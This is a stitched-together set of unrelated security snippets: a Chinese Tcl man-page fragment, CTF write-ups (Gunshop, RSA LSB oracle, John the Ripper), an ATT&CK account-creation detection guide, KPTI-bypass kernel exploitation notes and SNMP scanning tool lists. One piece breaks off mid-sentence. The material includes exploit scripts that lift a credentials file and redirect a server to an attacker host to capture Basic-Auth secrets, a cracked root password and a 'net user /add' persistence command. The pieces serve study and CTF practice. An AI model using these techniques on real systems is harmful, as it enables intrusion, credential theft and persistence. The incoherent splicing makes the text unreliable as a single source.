==> command +--------+ +--------+ +--------+ +--------+ | stdin |<------+ stdin | +-->| pipein | +--+ stdin | +--------+ +--------+ | +--------+ | +--------+ | stdout |<--+---+ stdout | | | pipeout|<--+ | stdout +--+ +--------+ | +--------+ | +--------+ +--------+ | | | stderr | | | stderr | | | +--------+ | +--------+ | | | channel+--+ | | +--------+ | +-----------------------------------------------+ 打开一个用来读的命令管道 +-----------------------------------------------+ | | +--------+ | +--------+ +--------+ +--------+ | | stdin |<--+---+ stdin | | pipein |<--+ | stdin +--+ +--------+ +--------+ +--------+ | +--------+ | stdout |<------+ stdout | +-->| pipeout| +--+ stdout | +--------+ +--------+ | +--------+ +--------+ | stderr | | | stderr | +--------+ | +--------+ | channel+--+ +--------+ Tcl <== Pipeline <== command .CE .SH "串行通信 SERIAL COMMUNICATIONS" .VS .PP 如果 \fIfileName\fR 参照一个串行端口,则打开特定的串行端口并以依赖于平台的方式初始化。给 \fIfileName\fR 用以打开一个串行端口的可接受的值在移植要点中描述。 .SH "配置选项 CONFIGURATION OPTIONS" 使用 \fBfconfigure\fR 命令来为打开的串行端口查询和设置下列选项: .TP \fB\-mode \fIbaud\fB,\fIparity\fB,\fIdata\fB,\fIstop\fR . 这个选项是由逗号分隔的四个值的一个集合: 这个串行端口的波特(baud)率、奇偶校验(parity)、数据位数、和停止位。\fIbaud\fR 率是指定连接速度的一个简单整数。\fIParity\fR 是下列字母之一: \fBn\fR、\fBo\fR、\fBe\fR、\fBm\fR、\fBs\fR;分别表示奇偶校验选项“none”、“odd”、“even”、“mark”、或“space”。\fIData\fR 是数据位数,应当是从 5 到 8 中的一个整数,而 \fIstop\fR 是停止位的数目,应当是整数 1 或 2。 .TP \fB\-pollinterval \fImsec\fR . 只在 Windows 上串行端口能获得这个选项,它被用来设置文件事件轮询(poll)之间的最大时间。这影响整个 Tcl 解释器检查事件中间的时间间隔(总是采用最小的值)。只有在你想要使轮询这个串行端口的时间间隔小于 10 msec (缺省值)时才使用这个选项。 .TP \fB\-lasterror\fR . 只在 Windows 上串行端口能获得这个选项,并只能查询(只在直接请求时报告)。在串行通信出错的情况下,\fBread\fR 或 \fBputs\fR 返回一个一般 Tcl 文件 I/O 错误。可以调用 \fBfconfigure -lasterror\fR 来得到错误详情的一个列表(例如,FRAME RXOVER)。 .VE .VS .SH "移植要点 PORTABILITY ISSUES" .sp .TP \fBWindows \fR(所有版本) . 给 \fIfileName\fR 来打开一个串行端口的有效值的形式是 \fBcom\fIX\fB:\fR,这里 \fIX\fR 是一个数,一般是从 1 到 4。如果系统有多于四个串行端口,则这个符号(notation)可以表示串行端口从 1 到 9。尝试打开一个不存在或序号大于 9 的串行端口将导致错误。打开串行端口的可替代的方法是使用文件名 \fB\e\e.\ecomX\fR,这里 X 是对应于一个串行端口的任何(整)数;请注意,这个方法在 Windows 95 和 Windows 98 上相当的慢。 .TP \fBWindows NT\fR . 在交互运行 Tcl 的时候,如果存在一个控制台,则在真实的控制台和使用标准输入或输出的一个命令管道之间可能有一些奇怪的相互作用。如果为读而打开一个命令管道,在这个控制台键入的一些行将被发送到命令管道而一些行将别发送到 Tcl 求值器。如果为写而打开一个命令管道,在管道关闭之前,在这个控制台中键入的击键(keystroke)将一直是不可见的。在执行 16-bit 或 32-bit 应用程序时都可能发生这种事情。这些问题只发生在 Tcl 和子应用程序同时竞争这个控制台的时候。如果命令管道是从一个脚本中启动的,所以 Tcl 不访问控制台,或者命令管道不使用标准输出或输出,而是重定向(从或)到一个文件,那么上述问题不发生。 .TP \fBWindows 95\fR . 不能同时为读写而打开一个命令管道来执行一个 16-bit DOS 应用程序,因为从一个管道接收标准输入和向一个管道发送标准输出的(两个) 16-bit DOS 应用程序同步运行。不执行 16-bit DOS 应用程序的命令管道异步运行并且可以同时为读写而打开。 .sp 在交互运行 Tcl 的时候,如果存在一个控制台,则在真实的控制台和使用标准输入或输出的一个命令管道之间可能有一些奇怪的相互作用。如果为从一个 32-bit 应用程序读而打开一个命令管道,在这个控制台键入的一些击键将被发送到命令管道而一些击键将别发送到 Tcl 求值器。如果为向一个 32-bit 应用程序写而打开一个命令管道,在管道关闭之前,在控制台中将一直没有输出是可见的。这些问题只发生在 Tcl 和子应用程序同时竞争这个控制台的时候。如果命令管道是从一个脚本中启动的,所以 Tcl 不访问控制台,或者命令管道不使用标准输出或输出,而是重定向(从或)到一个文件,那么上述问题不发生。 .sp 不论 Tcl 是否在交互的运行,如果为从一个 16-bit DOS 应用程序读而打开一个命令管道,在从命令管道的标准输出收到文件结束之前,对 \fBopen\fR 的调用一直不返回。如果为向一个 16-bit DOS 应用程序写而打开一个命令管道,在管道实际上被关闭之前,没有数据被发送到命令管道的标准输出。象上面描述的那样,这个问题发生的原因是 16-bit DOS 应用程序同步运行。 .TP \fBMacintosh\fR . 在 Macintosh 下目前未实现打开串行端口。 .sp 在 Macintosh 不支持打开命令管道,原因是应用程序不支持标准输入或输出的概念。 .TP \fBUnix\fR\0\0\0\0\0\0\0 . 给 \fIfileName\fR 来打开一个串行端口的有效值的形式是 \fB/dev/tty\fIX\fR,这里的 \fIX\fR 是 \fBa\fR 或 \fBb\fR,但是可以使用映射到一个串行端口的任何伪文件(pseudo-file)的名字。 .sp 在交互运行 Tcl 的时候,如果存在一个控制台,则在真实的控制台和使用标准输入或输出的一个命令管道之间可能有一些奇怪的相互作用。如果为读而打开一个命令管道,在这个控制台键入的一些行将被发送到命令管道而一些行将别发送到 Tcl 求值器。这些问题只发生在 Tcl 和子应用程序同时竞争这个控制台的时候。如果命令管道是从一个脚本中启动的,所以 Tcl 不访问控制台,或者命令管道不使用标准输出或输出,而是重定向(从或)到一个文件,那么上述问题不发生。 .LP 关于在不同平台上执行应用程序请参见 \fBexec\fR 命令的\fB移植要点\fR章节来得到不特定于命令管道的额外的信息。 .SH "参见 SEE ALSO" file(n), close(n), filename(n), fconfigure(n), gets(n), read(n), puts(n), exec(n), fopen(1) .SH "关键字 KEYWORDS" access mode, append, create, file, non-blocking, open, permissions, pipeline, process, serial .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/16 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Gunshop 1 (re/web, 273p, 10 solved) A two stage challenge, starting with an [obfuscated android app](GunShop.apk) There is some code to go through but eventually we can figure out that: 1. App is making requests to some host for endpoints `/sessionStart`, `/selectGun` and `/finalizeSession`. There is also and endpoint `/getFile?filename=`. 2. App is encrypting payloads using `AES` and encoding them in base64 3. There initial encryption key is derived via: ```java PackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64); if (packageInfo.signatures.length == 1) { str2 = base64(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16); } ``` This is used to decrypt the target host and next AES key from the app resources: ``` f18a = C0018m.decryptFile("configUrl", (Context) this); this.f22q = C0018m.decryptFile("configKey", (Context) this); ``` We were unsure what exactly is used for SHA-256 so we checked all fingerprints from the app signatures, and we finally got the right one. This way we decrypt the key `123456789as23456` and host `https://darkbloodygunshop.asisctf.com`. At the same time we got the hostname also simply by sniffing the outgoing traffic. If we now run the app and try to login, we get error that `username not found in users_gunshop_admins.csv`. But we've seen the `getFile` endpoint so we can try: https://darkbloodygunshop.asisctf.com/getFile?filename=users_gunshop_admins.csv and we recover the passwords file. From this we get the credentials: `alfredo` and `YhFyP$d*epmj9PUz`. We can login to the mobile app now, but it doesn't really do much for us. Since we recovered the encryption key for the traffic, we can try to access the REST endpoinst on our own: ```python s = requests.session() key = "123456789as23456" payload = json.dumps({"username": "alfredo", "password": "YhFyP$d*epmj9PUz", "device-id": "1235"}) aes = AES.new(key, AES.MODE_ECB) payload = base64.b64encode(aes.encrypt(pad(payload))) r = s.post("https://darkbloodygunshop.asisctf.com/startSession", verify=False, data={"user_data": payload}) result = r.text.decode("base64") result = aes.decrypt(result)[:-5] print(result) ``` We form the same json payload as seen in the java code and running this gives us: ```json {"key": "9a533b1465af2b63de48494c93041d92", "deviceId": "1235", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]} ``` Which concludes the first part of the task with the flag `ASIS{d0Nt_KI11_M3_G4NgsteR}`. # Gunshop 2 (web, 304p, 8 solved) The second part starts where the first one finished. Now the traffic gets encrypted by the new `key` parameter we received in the json payload. We proceed with performing the same REST calls as the App normally does, we select a gun: ```python obj = json.loads(result) key = obj["key"].decode("hex") payload = json.dumps({"gunId": "GN12-21"}) aes = AES.new(key, AES.MODE_ECB) payload = base64.b64encode(aes.encrypt(pad(payload))) r = s.post("https://darkbloodygunshop.asisctf.com/selectGun", verify=False, data={"user_data": payload}) print(r.text) result = r.text.decode("base64") result = aes.decrypt(result) print(result) ``` This gives us: ```json {"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}} ``` So we got the host for the second flag. But if we try to access this URL is accepts only POST and there is Basic-Auth on top of it. The last thing that mobile App does is to call `/finalizeSession` endpoint passing the store `url`, which somehow submits our order. After some thinking we figured that maybe in fact the darkbloodygunshop webapp is sending a proper POST request to the shop we send as parameter. If so maybe it includes the credentials! We proceed with sending the request with our own URL waiting for data: ```python payload = json.dumps({"shop": "our.host"}) aes = AES.new(key, AES.MODE_ECB) payload = base64.b64encode(aes.encrypt(pad(payload))) s.post("https://darkbloodygunshop.asisctf.com/finalizeSession", verify=False, data={"user_data": payload}) print(r.text) result = r.text.decode("base64") result = aes.decrypt(result) print(result) ``` And yes, we receive a request: ```python { "content-length": "30", "user-agent": "python-requests/2.20.1", "accept": "*/*", "accept-encoding": "gzip, deflate", "content-type": "application/x-www-form-urlencoded", "authorization": "Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6" } ``` There is some POST body, but what we really want is basic auth payload `YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6` which decoded as base64 is `bigbrother:4Qj3rc4ZhNQKv7Rz`. If we now send request to the real shop with those credentials we get back a flag: `ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}`
sec-knowleage
# 威胁情报的困境 本章节将整理威胁情报相关的一些发展问题,看到问题,才能去想解决方案。 ## 三座大山 威胁情报的本质是基于证据的知识(Knowledge),从痛苦金字塔上来说,这种Knowledge 时效性、滞后性和可靠
sec-knowleage
#/usr/bin/env python from Crypto.Random import random, atfork from Crypto.Util.number import bytes_to_long, long_to_bytes from hashlib import sha1 import SocketServer,threading,os,time import signal from util import * from key import * PORT = 7763 FLAG = "REDACTED" msg = """Welcome to the LSB oracle! N = {}\n""".format(N) def pad(s): assert(len(s) < N.bit_length() / 8) padded = bytes_to_long(s.ljust(N.bit_length()/8, padchar)) while decrypt(padded, p, q) == None: padded += 1 return padded padded = pad(FLAG) enc_flag = encrypt(padded, N) assert long_to_bytes(padded)[:len(FLAG)] == FLAG assert decrypt(enc_flag, p, q) == padded assert decrypt(2, p, q) != None def proof_of_work(req): import string req.sendall("Before we begin, a quick proof of work:\n") prefix = "".join([random.choice(string.digits + string.letters) for i in range(10)]) req.sendall("Give me a string starting with {}, of length {}, such that its sha1 sum ends in ffffff\n".format(prefix, len(prefix)+5)) response = req.recv(len(prefix) + 5) if sha1(response).digest()[-3:] != "\xff"*3 or not response.startswith(prefix): req.sendall("Doesn't work, sorry.\n") exit() class incoming(SocketServer.BaseRequestHandler): def handle(self): atfork() req = self.request signal.alarm(60) def recvline(): buf = "" while not buf.endswith("\n"): buf += req.recv(1) return buf proof_of_work(req) signal.alarm(120) req.sendall(msg) req.sendall("Encrypted Flag: {}\n".format(enc_flag)) while True: req.sendall("Give a ciphertext: ") x = long(recvline()) m = decrypt(x, p, q) if m == None: m = 0 req.sendall("lsb is {}\n".format(m % 2)) req.close() class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): pass SocketServer.TCPServer.allow_reuse_address = True server = ReusableTCPServer(("0.0.0.0", PORT), incoming) print "Listening on port %d" % PORT server.serve_forever()
sec-knowleage
# T1136-001-win-创建本地账户 ## 来自ATT&CK的描述 具有足够访问级别权限的攻击者可以创建本地系统或域账号。此类账号可用于持久性,不需要在系统上部署持久性远程访问工具。 在云环境中,攻击者可能会创建仅用于访问特定服务的账户,从而减少被检测到的可能。 ### Windows 可使用net user命令来创建本地或域账号。 ### Office 365 有权访问全局管理员账户的攻击者可以创建其他账户,并为其分配全局管理员角色以便能持久访问Office 365租户。 ## 测试案例 利用Net user命令创建本地用户 ## 检测日志 windows 安全日志 ## 测试复现 ### 本地创建账户 ```bash Microsoft Windows [版本 6.1.7601] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Windows\system32>net user admin.123 admin1 /add 命令成功完成。 ``` ## 测试留痕 ```log 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2020/6/7 22:09:21 事件 ID: 4720 #已创建用户帐户。 任务类别: 用户帐户管理 级别: 信息 关键字: 审核成功 用户: 暂缺 计算机: 12306Br0-PC 描述: 已创建用户帐户。 主题: 安全 ID: 12306Br0-PC\12306Br0 帐户名: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x75a8e 新帐户: 安全 ID: 12306Br0-PC\admin.123 帐户名: admin.123 帐户域: 12306Br0-PC 属性: SAM 帐户名: admin.123 显示名称: <未设置值> 用户主体名称: - 主目录: <未设置值> 主驱动器: <未设置值> 脚本路径: <未设置值> 配置文件路径: <未设置值> 用户工作站: <未设置值> 上次设置的密码:<从不> 帐户过期: <从不> 主要组 ID: 513 允许委托给: - 旧 UAC 值: 0x0 新 UAC 值: 0x15 用户帐户控制: 已禁用的帐户 '不要求密码' - 已启用 '普通帐户' - 已启用 用户参数: <未设置值> SID 历史: - 登录时间(以小时计):全部 附加信息: 特权 - 事件 Xml: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> <EventID>4720</EventID> <Version>0</Version> <Level>0</Level> <Task>13824</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2020-06-07T14:09:21.622933400Z" /> <EventRecordID>3893</EventRecordID> <Correlation /> <Execution ProcessID="504" ThreadID="2080" /> <Channel>Security</Channel> <Computer>12306Br0-PC</Computer> <Security /> </System> <EventData> <Data Name="TargetUserName">admin.123</Data> <Data Name="TargetDomainName">12306Br0-PC</Data> <Data Name="TargetSid">S-1-5-21-3579006141-3881886638-2121494774-1001</Data> <Data Name="SubjectUserSid">S-1-5-21-3579006141-3881886638-2121494774-1000</Data> <Data Name="SubjectUserName">12306Br0</Data> <Data Name="SubjectDomainName">12306Br0-PC</Data> <Data Name="SubjectLogonId">0x75a8e</Data> <Data Name="PrivilegeList">-</Data> <Data Name="SamAccountName">admin.123</Data> <Data Name="DisplayName">%%1793</Data> <Data Name="UserPrincipalName">-</Data> <Data Name="HomeDirectory">%%1793</Data> <Data Name="HomePath">%%1793</Data> <Data Name="ScriptPath">%%1793</Data> <Data Name="ProfilePath">%%1793</Data> <Data Name="UserWorkstations">%%1793</Data> <Data Name="PasswordLastSet">%%1794</Data> <Data Name="AccountExpires">%%1794</Data> <Data Name="PrimaryGroupId">513</Data> <Data Name="AllowedToDelegateTo">-</Data> <Data Name="OldUacValue">0x0</Data> <Data Name="NewUacValue">0x15</Data> <Data Name="UserAccountControl"> %%2080 %%2082 %%2084</Data> <Data Name="UserParameters">%%1793</Data> <Data Name="SidHistory">-</Data> <Data Name="LogonHours">%%1797</Data> </EventData> </Event> ``` ## 检测规则/思路 ### Sigma规则 ```yml title: 本地用户创建 description: 检测Windows服务器上的本地用户创建,这在Active Directory环境中不适用。使用本地日志,非AD日志。 status: 测试阶段 tags: - attack.persistence - attack.t1136-001 references: - https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/ author: 12306Br0(翻译) date: 2020/06/07 logsource: product: windows service: security detection: selection: EventID: 4720 #已创建用户帐户。 condition: selection fields: - EventCode - AccountName - AccountDomain falsepositives: - 域控制器日志 - 由特权帐户管理工具管理的本地帐户 level: low ``` 除了基于事件ID4720进行检测外,还可以用事件ID4688进程命令行参数(net user)来进行检测。 ### Splunk规则 ```yml EventID="4720" | table EventCode,AccountName,AccountDomain ``` ### 建议 建议根据4688进程和命令行参数以及4720相互结合进行检测本地用户创建行为。 ## 参考推荐 MITRE-ATT&CK-T1136-001 <https://attack.mitre.org/techniques/T1136/001/> Local User Creation <https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_user_creation.yml>
sec-knowleage
# HEEEEEEERE'S Johnny! Cryptography, 100 points ## Description: > Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell3.picoctf.com 38860. Files can be found here: _passwd_ _shadow_. ## Solution: We can use [John the Ripper](https://www.openwall.com/john/) to crack the password. ```console root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat passwd root:x:0:0:root:/root:/bin/bash root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat shadow root:$6$IGI9prWh$ZHToiAnzeD1Swp.zQzJ/Gv.iViy39EmjVsg3nsZlfejvrAjhmp5jY.1N6aRbjFJVQX8hHmTh7Oly3NzogaH8c1:17770:0:99999:7::: ``` First we use the `unshadow` utility to combine the `passwd` and `shadow` files and output them in the format of the traditional Unix password file: ```console root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# unshadow passwd shadow > input.txt root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat input.txt root:$6$IGI9prWh$ZHToiAnzeD1Swp.zQzJ/Gv.iViy39EmjVsg3nsZlfejvrAjhmp5jY.1N6aRbjFJVQX8hHmTh7Oly3NzogaH8c1:0:0:root:/root:/bin/bash ``` Then we run `john` to try and crack the password: ```console root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# john input.txt Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" Use the "--format=crypt" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Press 'q' or Ctrl-C to abort, almost any other key for status password1 (root) 1g 0:00:00:01 DONE 2/3 (2018-10-08 23:22) 0.6666g/s 587.4p/s 587.4c/s 587.4C/s 123456..green Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# john input.txt --show root:password1:0:0:root:/root:/bin/bash 1 password hash cracked, 0 left ``` The password is **password1**. Now we can connect to the remote host and obtain the flag: ```console root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# nc 2018shell3.picoctf.com 38860 Username: root Password: password1 picoCTF{J0hn_1$_R1pp3d_4e5aa29e} ``` The flag: picoCTF{J0hn_1$_R1pp3d_4e5aa29e}
sec-knowleage
### KPTI - Kernel Page Table Isolation介绍 KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。 在 KPTI 机制中,内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。 - 内核态中的页表包括用户空间内存的页表和内核空间内存的页表。 - 用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表,如用于处理系统调用、中断等信息的内存。 在 x86_64 的 PTI 机制中,内核态的用户空间内存映射部分被全部标记为不可执行。也就是说,之前不具有 SMEP 特性的硬件,如果开启了 KPTI 保护,也具有了类似于 SMEP 的特性。此外,SMAP 模拟也可以以类似的方式引入,只是现在还没有引入。因此,在目前开启了 KPTI 保护的内核中,如果没有开启 SMAP 保护,那么内核仍然可以访问用户态空间的内存,只是不能跳转到用户态空间执行 Shellcode。 Linux 4.15 中引入了 KPTI 机制,并且该机制被反向移植到了 Linux 4.14.11,4.9.75,4.4.110。 ### KPTI - Kernel Page Table Isolation的开启与关闭 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `kpti=1` 来开启 KPTI。 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nopti` 来关闭 KPTI。 ### KPTI - Kernel Page Table Isolation的状态查看 我们可以通过以下两种方式来查看 KPTI 机制是否开启。 ```shell /home/pwn # dmesg | grep 'page table' [ 0.000000] Kernel/User page tables isolation: enabled /home/pwn # cat /proc/cpuinfo | grep pti fpu_exception : yes flags : ... pti smep smap ``` ### KPTI - Kernel Page Table Isolation关于修改页表的介绍 在开启 KPTI 后,用户态空间的所有数据都被标记了 NX 权限,但是,我们可以考虑修改对应的页表权限,使其拥有可执行权限。当内核没有开启 smep 权限时,我们在修改了页表权限后就可以返回到用户态,并执行用户态的代码。 ### SWITCH_TO_USER_CR3_STACK机制概述 在开启 KPTI 机制后,用户态进入到内核态时,会进行页表切换;当从内核态恢复到用户态时,也会进行页表切换。那么如果我们可以控制内核执行返回用户态时所执行的切换页表的代码片段,也就可以正常地返回到用户态。 通过分析内核态到用户态切换的代码,我们可以得知,页表的切换主要靠`SWITCH_TO_USER_CR3_STACK` 汇编宏。因此,我们只需要能够调用这部分代码即可。 ```assembly .macro SWITCH_TO_USER_CR3_STACK scratch_reg:req pushq %rax SWITCH_TO_USER_CR3_NOSTACK scratch_reg=\scratch_reg scratch_reg2=%rax popq %rax .endm .macro SWITCH_TO_USER_CR3_NOSTACK scratch_reg:req scratch_reg2:req ALTERNATIVE "jmp .Lend_\@", "", X86_FEATURE_PTI mov %cr3, \scratch_reg ALTERNATIVE "jmp .Lwrcr3_\@", "", X86_FEATURE_PCID /* * Test if the ASID needs a flush. */ movq \scratch_reg, \scratch_reg2 andq $(0x7FF), \scratch_reg /* mask ASID */ bt \scratch_reg, THIS_CPU_user_pcid_flush_mask jnc .Lnoflush_\@ /* Flush needed, clear the bit */ btr \scratch_reg, THIS_CPU_user_pcid_flush_mask movq \scratch_reg2, \scratch_reg jmp .Lwrcr3_pcid_\@ .Lnoflush_\@: movq \scratch_reg2, \scratch_reg SET_NOFLUSH_BIT \scratch_reg .Lwrcr3_pcid_\@: /* Flip the ASID to the user version */ orq $(PTI_USER_PCID_MASK), \scratch_reg .Lwrcr3_\@: /* Flip the PGD to the user version */ orq $(PTI_USER_PGTABLE_MASK), \scratch_reg mov \scratch_reg, %cr3 .Lend_\@: .endm ``` 事实上,我们不仅希望切换页表,还希望能够返回到用户态,因此我们这里也需要复用内核中返回至用户态的代码。内核返回到用户态主要有两种方式:iret 和 sysret。下面详细介绍。 #### iret ```assembly SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL) #ifdef CONFIG_DEBUG_ENTRY /* Assert that pt_regs indicates user mode. */ testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0 /* * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS. * Save old stack pointer and switch to trampoline stack. */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY /* Copy the IRET frame to the trampoline stack. */ pushq 6*8(%rdi) /* SS */ pushq 5*8(%rdi) /* RSP */ pushq 4*8(%rdi) /* EFLAGS */ pushq 3*8(%rdi) /* CS */ pushq 2*8(%rdi) /* RIP */ /* Push user RDI on the trampoline stack. */ pushq (%rdi) /* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. */ STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi /* Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN ``` 可以看到,通过伪造如下的栈,然后跳转到 `movq %rsp, %rdi`,我们就可以同时切换页表和返回至用户态。 ``` fake rax fake rdi RIP CS EFLAGS RSP SS ``` #### sysret 在使用 sysret 时,我们首先需要确保 rcx 和 r11 为如下的取值 ``` rcx, save the rip of the code to be executed when returning to userspace r11, save eflags ``` 然后构造如下的栈 ``` fake rdi rsp, the stack of the userspace ``` 最后跳转至 entry_SYSCALL_64 的如下代码,即可返回到用户态。 ```assembly SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp swapgs sysretq ```
sec-knowleage
# Introduction 内核提权指的是普通用户可以获取到 root 用户的权限,访问原先受限的资源。这里从两种角度来考虑如何提权 - 改变自身:通过改变自身进程的权限,使其具有 root 权限。 - 改变别人:通过影响高权限进程的执行,使其完成我们想要的功能。 ## 参考文献 - https://en.wikipedia.org/wiki/Privilege_escalation
sec-knowleage
### SNMP简介: SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的协议。SNMP主要用于网络设备的管理。SNMP协议主要由两大部分构成:SNMP管理站和SNMP代理。SNMP管理站是一个中心节点,负责收集维护各个SNMP元素的信息,并对这些信息进行处理,最后反馈给网络管理员;而SNMP代理是运行在各个被管理的网络节点之上,负责统计该节点的各项信息,并且负责与SNMP管理站交互,接收并执行管理站的命令,上传各种本地的网络信息。 ### nmap扫描: ```bash root@John:~# nmap -sU --script snmp-brute 192.168.1.0/24 -T4 ``` ![](media/045b3f2f2c7da50d9f2b8a1ad9f86a0e.jpg) ### msf扫描: ```bash msf > use auxiliary/scanner/snmp/snmp_enum ``` ![](media/4f92b1b39415a27bc404e01c05ef6bfb.jpg) 项目地址: https://www.mcafee.com/us/downloads/free-tools/snscan.aspx 依然是一块macafee出品的攻击 ![](media/b8c3f5e36ed6a251a9d7c6ff3f00f665.jpg) ### NetCrunch: 项目地址: https://www.adremsoft.com/demo/ 内网安全审计工具,包含了DNS审计,ping扫描,端口,网络服务等。 ![](media/19aed1cd1327808c60a4f944fe83a838.jpg) ### snmp for pl扫描: 项目地址: https://github.com/dheiland-r7/snmp ![](media/f0ab120e48d6c92d5c5596352f81355d.jpg) ![](media/0f3812a0ec50201e000ae56a7d127210.jpg) ### 其他扫描: snmpbulkwalk: ![](media/6d6d4d08c98c2861e776b8f01b977bb7.jpg) snmp-check: ![](media/54949180a485e0f4ec2884da361a2bce.jpg) snmptest: ![](media/d34215b3490fae6d1722a950facdf77e.jpg) ### 附录: ```bash use auxiliary/scanner/snmp/aix_version use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/snmp/arris_dg950 use auxiliary/scanner/snmp/snmp_enum_hp_laserjet use auxiliary/scanner/snmp/brocade_enumhash use auxiliary/scanner/snmp/snmp_enumshares use auxiliary/scanner/snmp/cambium_snmp_loot use auxiliary/scanner/snmp/snmp_enumusers use auxiliary/scanner/snmp/cisco_config_tftp use auxiliary/scanner/snmp/snmp_login use auxiliary/scanner/snmp/cisco_upload_file use auxiliary/scanner/snmp/snmp_set use auxiliary/scanner/snmp/netopia_enum use auxiliary/scanner/snmp/ubee_ddw3611 use auxiliary/scanner/snmp/sbg6580_enum use auxiliary/scanner/snmp/xerox_workcentre_enumusers ``` 其他内网安全审计工具(snmp): 项目地址:https://www.solarwinds.com/topics/snmp-scanner 项目地址:https://www.netscantools.com/nstpro_snmp.html ### snmp for pl : Can't locate NetAddr/IP ![](media/bc665f1b06550f7d8e81ec4ef5dfbbb8.jpg) ```bash root@John:~/Desktop/snmp# wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz ``` ![](media/ce0a8f4a495c9a33f152c1d4e996a021.jpg) ```bash root@John:~/Desktop/snmp# tar xvzf ./NetAddr-IP-4.078.tar.gz ``` ![](media/cd8ede5c8e7edeaa7e7c7901c0a7c4b2.jpg) ```bash root@John:~/Desktop/snmp# cd NetAddr-IP-4.078/ root@John:~/Desktop/snmp/NetAddr-IP-4.078# ls About-NetAddr-IP.txt Artistic Changes Copying docs IP.pm Lite Makefile.PL MANIFEST MANIFEST.SKIP META.yml t TODO root@John:~/Desktop/snmp/NetAddr-IP-4.078# perl Makefile.PL ``` ![](media/b095c67e64484673aca21d97843a8275.jpg) ```bash root@John:~/Desktop/snmp/NetAddr-IP-4.078# make ``` ![](media/42807ab04c2def49a5d85520601c49ca.jpg) ```bash root@John:~/Desktop/snmp/NetAddr-IP-4.078# make install ``` ![](media/7c5dfdd85bc7f5f74a30cb799e92beb1.jpg) \> _ < !! ![](media/f171e221b9c374de99d4f973a5b5b400.jpg) > Micropoor
sec-knowleage
